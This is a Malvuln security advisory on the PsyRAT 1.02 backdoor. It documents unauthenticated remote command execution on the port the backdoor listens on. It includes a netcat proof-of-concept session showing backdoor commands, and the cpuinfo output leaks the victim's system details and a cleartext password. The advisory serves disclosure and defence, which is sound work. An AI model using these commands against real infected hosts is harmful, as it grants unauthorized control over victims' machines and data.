Original source: https://malvuln.com/advisory/5817183894cb513239f6aef28895130c.txt
Contact:
Media: twitter.com/malvuln
Threat: Backdoor.Win32.PsyRat.b
Vulnerability: Unauthenticated Remote Command Execution
Description: The PsyRAT 1.02 malware listens by default on TCP port
9863, but can be changed when building backdoor servers.
Third-party attackers who can reach infected systems can execute
commands made available by the backdoor. The backdoors cpuinfo
command will leak system details including cleartext password.
Type: PE32
MD5: 5817183894cb513239f6aef28895130c
Vuln ID: MVID-2021-0306
Dropped files: server.exe
Disclosure: 07/26/2021
Exploit/PoC:
nc64.exe x.x.x.x 9863
PASS
BADPWD
Invalid command
whatami
you are a loser
whatismyip
192.168.18.130
cpuinfo
Windows Version: |System Directory: C:\WINDOWS\system32|Computer
Name: DESKTOP-3C4IJHO|Username: Victim|CPU Speed: 2808 MHz|CPU
Type: GenuineIntel|------|PsyRAT Version: PsyRAT 1.02|IP/Port:
192.168.18.130:9863|Password: abc123|Install name: winhost.exe|Reg
value: Windows Host|PHP URL: http://yourdomain.com/log.php
Invalid command.
version
PsyRAT 0.01 BETA
getdrives
C:\ - Fixed Drive^D:\ - CD-ROM^
Disclaimer: The information contained within this advisory is
supplied "as-is" with no warranties or guarantees of fitness of use
or otherwise. Permission is hereby granted for the redistribution
of this advisory, provided that it is not altered except by
reformatting it, and that due credit is given. Permission is
explicitly given for insertion in vulnerability databases and
similar, provided that due credit is given to the author. The
author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage
caused by the use or misuse of this information. The author
prohibits any malicious use of security related information or
exploits by the author or elsewhere. Do not attempt to download
Malware samples. The author of this website takes no responsibility
for any kind of damages occurring from improper Malware handling or
the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).